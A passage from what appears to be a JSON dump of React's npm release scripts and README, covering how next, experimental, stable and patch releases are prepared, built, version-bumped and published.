`--tags` arguments is optional**, and you can omit it if you don't want to tag the release on npm at all. This can be useful when preparing breaking changes.\n\n## Publishing Next\n\n\"Next\" builds are meant to be lightweight and published often. In most cases, they can be published using artifacts built by Circle CI.\n\nTo prepare a build for a particular commit:\n1. Choose a commit from [the commit log](https://github.com/facebook/react/commits/main).\n2. Copy the SHA (by clicking the 📋 button)\n5. Run the [`prepare-release-from-ci`](#prepare-release-from-ci) script with the SHA <sup>1</sup> you found:\n```sh\nscripts/release/prepare-release-from-ci.js -r stable --commit=0e526bc\n```\n\nOnce the build has been checked out and tested locally, you're ready to publish it:\n```sh\nscripts/release/publish.js --tags next\n```\n\n<sup>1: You can omit the `commit` param if you just want to release the latest commit as to \"next\".</sup>\n\n## Publishing an Experimental Release\n\nExperimental releases are special because they have additional features turned on.\n\nThe steps for publishing an experimental release are almost the same as for publishing a \"next\" release except for the release channel (`-r`) flag.\n\n```sh\nscripts/release/prepare-release-from-ci.js -r experimental --commit=0e526bc\n```\n\nOnce the build has been checked out and tested locally, you're ready to publish it. When publishing an experimental release, use the `experimental` tag:\n\n```sh\nscripts/release/publish.js --tags experimental\n```\n\n## Publishing a Stable Release\n\nStable releases should always be created from the \"next\" channel. This encourages better testing of the actual release artifacts and reduces the chance of unintended changes accidentally being included in a stable release.\n\nTo prepare a stable release, choose a \"next\" version and run the [`prepare-release-from-npm`](#prepare-release-from-npm) script <sup>1</sup>:\n\n```sh\nscripts/release/prepare-release-from-npm.js --version=0.0.0-241c4467e-20200129\n```\n\nThis script will prompt you to select stable version numbers for each of the packages. It will update the package JSON versions (and dependencies) based on the numbers you select.\n\nOnce this step is complete, you're ready to publish the release:\n\n```sh\nscripts/release/publish.js --tags latest\n\n# Or, if you want to bump \"next\" as well:\nscripts/release/publish.js --tags latest next\n```\n\nAfter successfully publishing the release, follow the on-screen instructions to ensure that all of the appropriate post-release steps are executed.\n\n<sup>1: You can omit the `version` param if you just want to promote the latest \"next\" candidate to stable.</sup>\n\n## Creating a Patch Release\n\nPatch releases should always be created by branching from a previous release. This reduces the likelihood of unstable changes being accidentally included in the release.\n\nBegin by creating a branch from the previous git tag<sup>1</sup>:\n\n```sh\ngit checkout -b 16.8.3 v16.8.2\n```\n\nNext cherry pick any changes from main that you want to include in the release:\n\n```sh\ngit cherry-pick <commit-hash>\n```\n\nOnce you have cherry picked all of the commits you want to include in the release, push your feature branch and create a Pull Request (so that Circle CI will create a build):\n\n```sh\ngit push origin 16.8.3\n```\n\nOnce CI is complete, follow the regular [**next**](#publishing-release) and [**promote to stable**](#publishing-a-stable-release) processes.\n\n<sup>1: The `build-info.json` artifact can also be used to identify the appropriate commit (e.g. [unpkg.com/react@16.8.3/build-info.json](https://unpkg.com/react@16.8.3/build-info.json) shows us that react version 16.8.3 was created from commit [`29b7b775f`](https://github.com/facebook/react/commit/29b7b775f)).</sup>\n\n# Scripts\n\n## `build-release-locally`\nCreates a \"next\" build from the current (local) Git revision.\n\n**This script is an escape hatch.** It allows a release to be created without pushing a commit to be verified by Circle CI. **It does not run any automated unit tests.** Testing is solely the responsibility of the release engineer.\n\nNote that this script git-archives the React repo (at the current revision) to a temporary directory before building, so **uncommitted changes are not included in the build**.\n\n#### Example usage\nTo create a build from the current branch and revision:\n```sh\nscripts/release/build-release-locally.js\n```\n\n## `prepare-release-from-ci`\nDownloads build artifacts from Circle CI in preparation to be published to NPM as either a \"next\" or \"experimental\" release.\n\nAll artifacts built by Circle CI have already been unit-tested (both source and bundles) but these candidates should **always be manually tested** before being published. Upon completion, this script prints manual testing instructions.\n\n#### Example usage\nTo prepare the artifacts created by Circle CI for commit [0e526bc](https://github.com/facebook/react/commit/0e526bc) you would run:\n```sh\nscripts/release/prepare-release-from-ci.js --commit=0e526bc -r stable\n```\n\n## `prepare-release-from-npm`\nChecks out a \"next\" release from NPM and prepares it to be published as a stable release.\n\nThis script prompts for new (stable) release versions for each public package and updates the package contents (both `package.json` and inline version numbers) to match. It also updates inter-package dependencies to account for the new versions.\n\n\"Next\" releases have already been tested but it is still a good idea to **manually test and verify a release** before publishing to ensure that e.g. version numbers are correct. Upon completion, this script prints manual testing instructions.\n\n#### Example usage\nTo promote the \"next\" release `0.0.0-241c4467e-20200129` (aka commit [241c4467e](https://github.com/facebook/react/commit/241c4467e)) to stable:\n```sh\nscripts/release/prepare-release-from-npm.js --version=0.0.0-241c4467e-20200129\n```\n\n## `publish`\nPublishes the current contents of `build/node_modules` to NPM.\n\nThis script publishes each public package to NPM and updates the specified tag(s) to match. **It does not test or verify the local package contents before publishing**. This should be done by the release engineer prior to running the script.\n\nUpon completion, this script provides instructions for tagging the Git commit that the package was created from and updating the release CHANGELOG.\n\n**Specify a `--dry` flag when running this script if you want to skip the NPM-publish step.** In this event, the script will print the NPM commands but it will not actually run them.\n\n#### Example usage\nTo publish a release to NPM as both `next` and `latest`:\n```sh\nscripts/release/publish.js --tags latest next\n```\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/add-build-info-json.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\n// IMPORTANT:\n// Changes below should be mirrored in ../ci-add-build-info-json.js\n\nconst {existsSync} = require('fs');\nconst {writeJson, readJson} = require('fs-extra');\nconst {join} = require('path');\nconst {getPublicPackages, logPromise} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({branch, checksum, commit, reactVersion, tempDirectory}) => {\n  const isExperimental = reactVersion.includes('experimental');\n  const packages = getPublicPackages(isExperimental);\n  const packagesDir = join(tempDirectory, 'packages');\n\n  const buildInfoJSON = {\n    branch,\n    buildNumber: null,\n    checksum,\n    commit,\n    environment: 'local',\n    reactVersion,\n  };\n\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const packagePath = join(packagesDir, packageName);\n    const packageJSON = await readJson(join(packagePath, 'package.json'));\n\n    // Verify all public packages include \"build-info.json\" in the files array.\n    if (!packageJSON.files.includes('build-info.json')) {\n      console.error(\n        theme`{error ${packageName} must include \"build-info.json\" in files array.}`\n      );\n      process.exit(1);\n    }\n\n    // Add build info JSON to package.\n    if (existsSync(join(packagePath, 'npm'))) {\n      const buildInfoJSONPath = join(packagePath, 'npm', 'build-info.json');\n      await writeJson(buildInfoJSONPath, buildInfoJSON, {spaces: 2});\n    }\n  }\n};\n\nmodule.exports = async params => {\n  return logPromise(run(params), 'Adding build metadata to packages');\n};\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/build-artifacts.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {join} = require('path');\nconst {logPromise} = require('../utils');\nconst shell = require('shelljs');\n\nconst run = async ({cwd, dry, tempDirectory}) => {\n  const defaultOptions = {\n    cwd: tempDirectory,\n  };\n\n  await exec('yarn install', defaultOptions);\n  await exec('yarn build -- --extract-errors', defaultOptions);\n\n  const tempNodeModulesPath = join(tempDirectory, 'build', 'node_modules');\n  const buildPath = join(cwd, 'build');\n\n  shell.cp('-r', tempNodeModulesPath, buildPath);\n};\n\nmodule.exports = async params => {\n  return logPromise(run(params), 'Building artifacts', 600000);\n};\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/confirm-automated-testing.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {confirm} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async () => {\n  clear();\n\n  console.log(\n    theme.caution(\n      'This script does not run any automated tests.' +\n        'You should run them manually before creating a \"next\" release.'\n    )\n  );\n\n  await confirm('Do you want to proceed?');\n\n  clear();\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/copy-repo-to-temp-directory.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {join} = require('path');\nconst {tmpdir} = require('os');\nconst {logPromise} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({commit, cwd, tempDirectory}) => {\n  const directory = `react-${commit}`;\n  const temp = tmpdir();\n\n  if (tempDirectory !== join(tmpdir(), directory)) {\n    throw Error(`Unexpected temporary directory \"${tempDirectory}\"`);\n  }\n\n  await exec(`rm -rf ${directory}`, {cwd: temp});\n  await exec(`git archive --format=tar --output=${temp}/react.tgz ${commit}`, {\n    cwd,\n  });\n  await exec(`mkdir ${directory}`, {cwd: temp});\n  await exec(`tar -xf ./react.tgz -C ./${directory}`, {cwd: temp});\n};\n\nmodule.exports = async params => {\n  return logPromise(\n    run(params),\n    theme`Copying React repo to temporary directory ({path ${params.tempDirectory}})`\n  );\n};\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/npm-pack-and-unpack.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {join} = require('path');\nconst {exec} = require('child-process-promise');\nconst {readdirSync} = require('fs');\nconst {readJsonSync} = require('fs-extra');\nconst {logPromise} = require('../utils');\n\nconst run = async ({cwd, dry, tempDirectory}) => {\n  // Cleanup from previous build.\n  await exec(`rm -rf ./build`, {cwd});\n\n  // NPM pack all built packages.\n  // We do this to ensure that the package.json files array is correct.\n  const builtPackages = readdirSync(join(tempDirectory, 'build/node_modules/'));\n  for (let i = 0; i < builtPackages.length; i++) {\n    await exec(`npm pack ./${builtPackages[i]}`, {\n      cwd: `${tempDirectory}/build/node_modules/`,\n    });\n  }\n\n  await exec('mkdir build', {cwd});\n  await exec('mkdir build/node_modules', {cwd});\n  await exec(\n    `cp -r ${tempDirectory}/build/node_modules/*.tgz ./build/node_modules/`,\n    {cwd}\n  );\n\n  // Unpack packages and prepare to publish.\n  const compressedPackages = readdirSync(join(cwd, 'build/node_modules/'));\n  for (let i = 0; i < compressedPackages.length; i++) {\n    await exec(\n      `tar -zxvf ./build/node_modules/${compressedPackages[i]} -C ./build/node_modules/`,\n      {cwd}\n    );\n    const packageJSON = readJsonSync(\n      join(cwd, `./build/node_modules/package/package.json`)\n    );\n    await exec(\n      `mv ./build/node_modules/package ./build/node_modules/${packageJSON.name}`,\n      {cwd}\n    );\n  }\n\n  // Cleanup.\n  await exec(`rm ./build/node_modules/*.tgz`, {cwd});\n};\n\nmodule.exports = async params => {\n  return logPromise(run(params), 'Packing artifacts');\n};\n"
  },
  {
    "path": "scripts/release/build-release-locally-commands/update-version-numbers.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {logPromise, updateVersionsForNext} = require('../utils');\nconst theme = require('../theme');\n\nmodule.exports = async ({reactVersion, tempDirectory, version}) => {\n  return logPromise(\n    updateVersionsForNext(tempDirectory, reactVersion, version),\n    theme`Updating version numbers ({version ${version}})`\n  );\n};\n"
  },
  {
    "path": "scripts/release/build-release-locally.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {tmpdir} = require('os');\nconst {join} = require('path');\nconst {getBuildInfo, handleError} = require('./utils');\n\n// This script is an escape hatch!\n// It exists for special case manual builds.\n// The typical suggested release process is to create a \"next\" build from a CI artifact.\n// This build script is optimized for speed and simplicity.\n// It doesn't run all of the tests that the CI environment runs.\n// You're expected to run those manually before publishing a release.\n\nconst addBuildInfoJSON = require('./build-release-locally-commands/add-build-info-json');\nconst buildArtifacts = require('./build-release-locally-commands/build-artifacts');\nconst confirmAutomatedTesting = require('./build-release-locally-commands/confirm-automated-testing');\nconst copyRepoToTempDirectory = require('./build-release-locally-commands/copy-repo-to-temp-directory');\nconst npmPackAndUnpack = require('./build-release-locally-commands/npm-pack-and-unpack');\nconst printPrereleaseSummary = require('./shared-commands/print-prerelease-summary');\nconst updateVersionNumbers = require('./build-release-locally-commands/update-version-numbers');\n\nconst run = async () => {\n  try {\n    const cwd = join(__dirname, '..', '..');\n    const {branch, checksum, commit, reactVersion, version} =\n      await getBuildInfo();\n    const tempDirectory = join(tmpdir(), `react-${commit}`);\n    const params = {\n      branch,\n      checksum,\n      commit,\n      cwd,\n      reactVersion,\n      tempDirectory,\n      version,\n    };\n\n    await confirmAutomatedTesting(params);\n    await copyRepoToTempDirectory(params);\n    await updateVersionNumbers(params);\n    await addBuildInfoJSON(params);\n    await buildArtifacts(params);\n    await npmPackAndUnpack(params);\n    await printPrereleaseSummary(params, false);\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/build-release.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {tmpdir} = require('os');\nconst {join} = require('path');\nconst {getBuildInfo, handleError} = require('./utils');\n\n// This script is an escape hatch!\n// It exists for special case manual builds.\n// The typical suggested release process is to create a \"next\" build from a CI artifact.\n// This build script is optimized for speed and simplicity.\n// It doesn't run all of the tests that the CI environment runs.\n// You're expected to run those manually before publishing a release.\n\nconst addBuildInfoJSON = require('./build-release-locally-commands/add-build-info-json');\nconst buildArtifacts = require('./build-release-locally-commands/build-artifacts');\nconst confirmAutomatedTesting = require('./build-release-locally-commands/confirm-automated-testing');\nconst copyRepoToTempDirectory = require('./build-release-locally-commands/copy-repo-to-temp-directory');\nconst npmPackAndUnpack = require('./build-release-locally-commands/npm-pack-and-unpack');\nconst printPrereleaseSummary = require('./shared-commands/print-prerelease-summary');\nconst updateVersionNumbers = require('./build-release-locally-commands/update-version-numbers');\n\nconst run = async () => {\n  try {\n    const cwd = join(__dirname, '..', '..');\n    const {branch, checksum, commit, reactVersion, version} =\n      await getBuildInfo();\n    const tempDirectory = join(tmpdir(), `react-${commit}`);\n    const params = {\n      branch,\n      checksum,\n      commit,\n      cwd,\n      reactVersion,\n      tempDirectory,\n      version,\n    };\n\n    await confirmAutomatedTesting(params);\n    await copyRepoToTempDirectory(params);\n    await updateVersionNumbers(params);\n    await addBuildInfoJSON(params);\n    await buildArtifacts(params);\n    await npmPackAndUnpack(params);\n    await printPrereleaseSummary(params, false);\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/check-release-dependencies.js",
    "content": "'use strict';\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nconst fs = require('fs');\nconst semver = require('semver');\n\nconst {stablePackages} = require('../../ReactVersions');\n\nfunction main() {\n  if (!fs.existsSync('./build/oss-stable-semver')) {\n    throw new Error('No build artifacts found');\n  }\n\n  const packages = new Map();\n  for (const packageName in stablePackages) {\n    if (!fs.existsSync(`build/oss-stable-semver/${packageName}/package.json`)) {\n      throw new Error(`${packageName}`);\n    } else {\n      const info = JSON.parse(\n        fs.readFileSync(`build/oss-stable-semver/${packageName}/package.json`)\n      );\n      packages.set(info.name, info);\n    }\n  }\n\n  for (const [packageName, info] of packages) {\n    if (info.dependencies) {\n      for (const [depName, depRange] of Object.entries(info.dependencies)) {\n        if (packages.has(depName)) {\n          const releaseVersion = packages.get(depName).version;\n          checkDependency(packageName, depName, releaseVersion, depRange);\n        }\n      }\n    }\n\n    if (info.peerDependencies) {\n      for (const [depName, depRange] of Object.entries(info.peerDependencies)) {\n        if (packages.has(depName)) {\n          const releaseVersion = packages.get(depName).version;\n          checkDependency(packageName, depName, releaseVersion, depRange);\n        }\n      }\n    }\n  }\n}\n\nfunction checkDependency(packageName, depName, version, range) {\n  if (!semver.satisfies(version, range)) {\n    throw new Error(\n      `${packageName} has an invalid dependency on ${depName}: ${range}` +\n        '\\n\\n' +\n        'Actual version is: ' +\n        version\n    );\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/release/ci-npmrc",
    "content": "//registry.npmjs.org/:_authToken=${NPM_TOKEN}\n"
  },
  {
    "path": "scripts/release/download-experimental-build-commands/print-summary.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {join, relative} = require('path');\nconst theme = require('../theme');\n\nmodule.exports = async ({build}) => {\n  const commandPath = relative(\n    process.env.PWD,\n    join(__dirname, '../download-experimental-build.js')\n  );\n\n  clear();\n\n  const message = theme`\n    {caution An experimental build has been downloaded!}\n\n    You can download this build again by running:\n    {path   ${commandPath}} --build={build ${build}}\n  `;\n\n  console.log(message.replace(/\\n +/g, '\\n').trim());\n};\n"
  },
  {
    "path": "scripts/release/download-experimental-build.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {join, relative} = require('path');\nconst {handleError} = require('./utils');\nconst yargs = require('yargs');\nconst clear = require('clear');\nconst theme = require('./theme');\nconst {\n  downloadBuildArtifacts,\n} = require('./shared-commands/download-build-artifacts');\n\nconst argv = yargs.wrap(yargs.terminalWidth()).options({\n  releaseChannel: {\n    alias: 'r',\n    describe: 'Download the given release channel.',\n    requiresArg: true,\n    type: 'string',\n    choices: ['experimental', 'stable'],\n    default: 'experimental',\n  },\n  commit: {\n    alias: 'c',\n    describe: 'Commit hash to download.',\n    requiresArg: true,\n    demandOption: true,\n    type: 'string',\n  },\n  noVerify: {\n    describe: 'Skip verification',\n    requiresArg: false,\n    type: 'boolean',\n    default: false,\n  },\n}).argv;\n\nfunction printSummary(commit) {\n  const commandPath = relative(\n    process.env.PWD,\n    join(__dirname, '../download-experimental-build.js')\n  );\n\n  clear();\n\n  const message = theme`\n    {caution An experimental build has been downloaded!}\n\n    You can download this build again by running:\n    {path   ${commandPath}} --commit={commit ${commit}}\n  `;\n\n  console.log(message.replace(/\\n +/g, '\\n').trim());\n}\n\nconst main = async () => {\n  const {commit, releaseChannel, noVerify} = argv;\n  try {\n    await downloadBuildArtifacts({\n      commit,\n      releaseChannel,\n      noVerify,\n    });\n    printSummary(argv.commit);\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nmain();\n"
  },
  {
    "path": "scripts/release/package.json",
    "content": "{\n  \"name\": \"react-release-script\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"scripts\": {},\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"chalk\": \"^2.1.0\",\n    \"child-process-promise\": \"^2.2.1\",\n    \"clear\": \"^0.1.0\",\n    \"cli-spinners\": \"^1.1.0\",\n    \"command-line-args\": \"^4.0.7\",\n    \"command-line-usage\": \"^4.0.1\",\n    \"diff\": \"^3.5.0\",\n    \"folder-hash\": \"^2.1.2\",\n    \"fs-extra\": \"^4.0.2\",\n    \"log-update\": \"^2.1.0\",\n    \"progress-estimator\": \"^0.2.1\",\n    \"prompt-promise\": \"^1.0.3\",\n    \"puppeteer\": \"^1.11.0\",\n    \"pushstate-server\": \"^3.0.1\",\n    \"semver\": \"^5.4.1\"\n  }\n}\n"
  },
  {
    "path": "scripts/release/prepare-release-from-ci.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {join} = require('path');\nconst {addDefaultParamValue, handleError} = require('./utils');\n\nconst {\n  downloadBuildArtifacts,\n} = require('./shared-commands/download-build-artifacts');\nconst parseParams = require('./shared-commands/parse-params');\nconst printPrereleaseSummary = require('./shared-commands/print-prerelease-summary');\nconst testPackagingFixture = require('./shared-commands/test-packaging-fixture');\n\nconst run = async () => {\n  try {\n    addDefaultParamValue(null, '--commit', 'main');\n\n    const params = await parseParams();\n    params.cwd = join(__dirname, '..', '..');\n\n    await downloadBuildArtifacts({\n      commit: params.commit,\n      releaseChannel: params.releaseChannel ?? process.env.RELEASE_CHANNEL,\n    });\n\n    if (!params.skipTests) {\n      await testPackagingFixture(params);\n    }\n\n    const isLatestRelease = params.releaseChannel === 'latest';\n    await printPrereleaseSummary(params, isLatestRelease);\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/check-out-packages.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {exec} = require('child-process-promise');\nconst {existsSync} = require('fs');\nconst {join} = require('path');\nconst {execRead, logPromise} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, local, packages, version}) => {\n  if (local) {\n    // Sanity test\n    if (!existsSync(join(cwd, 'build', 'node_modules', 'react'))) {\n      console.error(theme.error`No local build exists.`);\n      process.exit(1);\n    }\n    return;\n  }\n\n  if (!existsSync(join(cwd, 'build'))) {\n    await exec(`mkdir ./build`, {cwd});\n  }\n\n  // Cleanup from previous builds\n  await exec(`rm -rf ./build/node_modules*`, {cwd});\n  await exec(`mkdir ./build/node_modules`, {cwd});\n\n  const nodeModulesPath = join(cwd, 'build/node_modules');\n\n  // Checkout \"next\" release from NPM for all local packages\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n\n    // We previously used `npm install` for this,\n    // but in addition to checking out a lot of transient dependencies that we don't care about–\n    // the NPM client also added a lot of registry metadata to the package JSONs,\n    // which we had to remove as a separate step before re-publishing.\n    // It's easier for us to just download and extract the tarball.\n    const url = await execRead(\n      `npm view ${packageName}@${version} dist.tarball`\n    );\n    const filePath = join(nodeModulesPath, `${packageName}.tgz`);\n    const packagePath = join(nodeModulesPath, `${packageName}`);\n    const tempPackagePath = join(nodeModulesPath, 'package');\n\n    // Download packages from NPM and extract them to the expected build locations.\n    await exec(`curl -L ${url} > ${filePath}`, {cwd});\n    await exec(`tar -xvzf ${filePath} -C ${nodeModulesPath}`, {cwd});\n    await exec(`mv ${tempPackagePath} ${packagePath}`, {cwd});\n    await exec(`rm ${filePath}`, {cwd});\n  }\n};\n\nmodule.exports = async params => {\n  return logPromise(\n    run(params),\n    theme`Checking out \"next\" from NPM {version ${params.version}}`\n  );\n};\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/confirm-stable-version-numbers.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst prompt = require('prompt-promise');\nconst semver = require('semver');\nconst theme = require('../theme');\nconst {confirm} = require('../utils');\n\nconst run = async ({ci, skipPackages}, versionsMap) => {\n  const groupedVersionsMap = new Map();\n\n  // Group packages with the same source versions.\n  // We want these to stay lock-synced anyway.\n  // This will require less redundant input from the user later,\n  // and reduce the likelihood of human error (entering the wrong version).\n  versionsMap.forEach((version, packageName) => {\n    if (!groupedVersionsMap.has(version)) {\n      groupedVersionsMap.set(version, [packageName]);\n    } else {\n      groupedVersionsMap.get(version).push(packageName);\n    }\n  });\n\n  if (ci !== true) {\n    // Prompt user to confirm or override each version group if not running in CI.\n    const entries = [...groupedVersionsMap.entries()];\n    for (let i = 0; i < entries.length; i++) {\n      const [bestGuessVersion, packages] = entries[i];\n      const packageNames = packages.map(name => theme.package(name)).join(', ');\n\n      let version = bestGuessVersion;\n      if (\n        skipPackages.some(skipPackageName => packages.includes(skipPackageName))\n      ) {\n        await confirm(\n          theme`{spinnerSuccess ✓} Version for ${packageNames} will remain {version ${bestGuessVersion}}`\n        );\n      } else {\n        const defaultVersion = bestGuessVersion\n          ? theme.version(` (default ${bestGuessVersion})`)\n          : '';\n        version =\n          (await prompt(\n            theme`{spinnerSuccess ✓} Version for ${packageNames}${defaultVersion}: `\n          )) || bestGuessVersion;\n        prompt.done();\n      }\n\n      // Verify a valid version has been supplied.\n      try {\n        semver(version);\n\n        packages.forEach(packageName => {\n          versionsMap.set(packageName, version);\n        });\n      } catch (error) {\n        console.log(\n          theme`{spinnerError ✘} Version {version ${version}} is invalid.`\n        );\n\n        // Prompt again\n        i--;\n      }\n    }\n  }\n};\n\n// Run this directly because it's fast,\n// and logPromise would interfere with console prompting.\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/get-latest-next-version.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {execRead, logPromise} = require('../utils');\n\nconst run = async () => {\n  const version = await execRead('npm info react@canary version');\n\n  return version;\n};\n\nmodule.exports = async params => {\n  return logPromise(run(params), 'Determining latest \"canary\" release version');\n};\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/guess-stable-version-numbers.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst semver = require('semver');\nconst {execRead, logPromise} = require('../utils');\n\nconst run = async (\n  {cwd, packages, skipPackages, ci, publishVersion},\n  versionsMap\n) => {\n  const branch = await execRead('git branch | grep \\\\* | cut -d \" \" -f2', {\n    cwd,\n  });\n\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n\n    if (ci === true) {\n      if (publishVersion != null) {\n        versionsMap.set(packageName, publishVersion);\n      } else {\n        console.error(\n          'When running in CI mode, a publishVersion must be supplied'\n        );\n        process.exit(1);\n      }\n    } else {\n      try {\n        // In case local package JSONs are outdated,\n        // guess the next version based on the latest NPM release.\n        const version = await execRead(`npm show ${packageName} version`);\n\n        if (skipPackages.includes(packageName)) {\n          versionsMap.set(packageName, version);\n        } else {\n          const {major, minor, patch} = semver(version);\n\n          // Guess the next version by incrementing patch.\n          // The script will confirm this later.\n          // By default, new releases from mains should increment the minor version number,\n          // and patch releases should be done from branches.\n          if (branch === 'main') {\n            versionsMap.set(packageName, `${major}.${minor + 1}.0`);\n          } else {\n            versionsMap.set(packageName, `${major}.${minor}.${patch + 1}`);\n          }\n        }\n      } catch (error) {\n        // If the package has not yet been published,\n        // we'll require a version number to be entered later.\n        versionsMap.set(packageName, null);\n      }\n    }\n  }\n};\n\nmodule.exports = async (params, versionsMap) => {\n  return logPromise(\n    run(params, versionsMap),\n    'Guessing stable version numbers'\n  );\n};\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/parse-params.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst commandLineArgs = require('command-line-args');\nconst {splitCommaParams} = require('../utils');\n\nconst paramDefinitions = [\n  {\n    name: 'local',\n    type: Boolean,\n    description:\n      'Skip NPM and use the build already present in \"build/node_modules\".',\n    defaultValue: false,\n  },\n  {\n    name: 'onlyPackages',\n    type: String,\n    multiple: true,\n    description: 'Packages to include in publishing',\n    defaultValue: [],\n  },\n  {\n    name: 'skipPackages',\n    type: String,\n    multiple: true,\n    description: 'Packages to exclude from publishing',\n    defaultValue: [],\n  },\n  {\n    name: 'skipTests',\n    type: Boolean,\n    description: 'Skip automated fixture tests.',\n    defaultValue: false,\n  },\n  {\n    name: 'version',\n    type: String,\n    description:\n      'Version of published \"next\" release (e.g. 0.0.0-0e526bcec-20210202)',\n  },\n  {\n    name: 'publishVersion',\n    type: String,\n    description: 'Version to publish',\n  },\n  {\n    name: 'ci',\n    type: Boolean,\n    description: 'Run in automated environment, without interactive prompts.',\n    defaultValue: false,\n  },\n];\n\nmodule.exports = () => {\n  const params = commandLineArgs(paramDefinitions);\n\n  splitCommaParams(params.skipPackages);\n  splitCommaParams(params.onlyPackages);\n\n  return params;\n};\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm-commands/update-stable-version-numbers.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {readFileSync, writeFileSync} = require('fs');\nconst {readJson, writeJson} = require('fs-extra');\nconst {join, relative} = require('path');\nconst {confirm, execRead, printDiff} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, packages, version, ci}, versionsMap) => {\n  const nodeModulesPath = join(cwd, 'build/node_modules');\n\n  // Cache all package JSONs for easy lookup below.\n  const sourcePackageJSONs = new Map();\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const sourcePackageJSON = await readJson(\n      join(cwd, 'packages', packageName, 'package.json')\n    );\n    sourcePackageJSONs.set(packageName, sourcePackageJSON);\n  }\n\n  const updateDependencies = async (targetPackageJSON, key) => {\n    const targetDependencies = targetPackageJSON[key];\n    if (targetDependencies) {\n      const sourceDependencies = sourcePackageJSONs.get(targetPackageJSON.name)[\n        key\n      ];\n\n      for (let i = 0; i < packages.length; i++) {\n        const dependencyName = packages[i];\n        const targetDependency = targetDependencies[dependencyName];\n\n        if (targetDependency) {\n          // For example, say we're updating react-dom's dependency on scheduler.\n          // We compare source packages to determine what the new scheduler dependency constraint should be.\n          // To do this, we look at both the local version of the scheduler (e.g. 0.11.0),\n          // and the dependency constraint in the local version of react-dom (e.g. scheduler@^0.11.0).\n          const sourceDependencyVersion =\n            sourcePackageJSONs.get(dependencyName).version;\n          const sourceDependencyConstraint = sourceDependencies[dependencyName];\n\n          // If the source dependency's version and the constraint match,\n          // we will need to update the constraint to point at the dependency's new release version,\n          // (e.g. scheduler@^0.11.0 becomes scheduler@^0.12.0 when we release scheduler 0.12.0).\n          // Otherwise we leave the constraint alone (e.g. react@^16.0.0 doesn't change between releases).\n          // Note that in both cases, we must update the target package JSON,\n          // since \"next\" releases are all locked to the version (e.g. 0.0.0-0e526bcec-20210202).\n          if (\n            sourceDependencyVersion ===\n            sourceDependencyConstraint.replace(/^[\\^\\~]/, '')\n          ) {\n            targetDependencies[dependencyName] =\n              sourceDependencyConstraint.replace(\n                sourceDependencyVersion,\n                versionsMap.get(dependencyName)\n              );\n          } else {\n            targetDependencies[dependencyName] = sourceDependencyConstraint;\n          }\n        }\n      }\n    }\n  };\n\n  // Update all package JSON versions and their dependencies/peerDependencies.\n  // This must be done in a way that respects semver constraints (e.g. 16.7.0, ^16.7.0, ^16.0.0).\n  // To do this, we use the dependencies defined in the source package JSONs,\n  // because the \"next\" dependencies have already been flattened to an exact match (e.g. 0.0.0-0e526bcec-20210202).\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const packageJSONPath = join(nodeModulesPath, packageName, 'package.json');\n    const packageJSON = await readJson(packageJSONPath);\n    packageJSON.version = versionsMap.get(packageName);\n\n    await updateDependencies(packageJSON, 'dependencies');\n    await updateDependencies(packageJSON, 'peerDependencies');\n\n    await writeJson(packageJSONPath, packageJSON, {spaces: 2});\n  }\n\n  clear();\n\n  // Print the map of versions and their dependencies for confirmation.\n  const printDependencies = (maybeDependency, label) => {\n    if (maybeDependency) {\n      for (let dependencyName in maybeDependency) {\n        if (packages.includes(dependencyName)) {\n          console.log(\n            theme`• {package ${dependencyName}} {version ${maybeDependency[dependencyName]}} {dimmed ${label}}`\n          );\n        }\n      }\n    }\n  };\n  for (let i = 0; 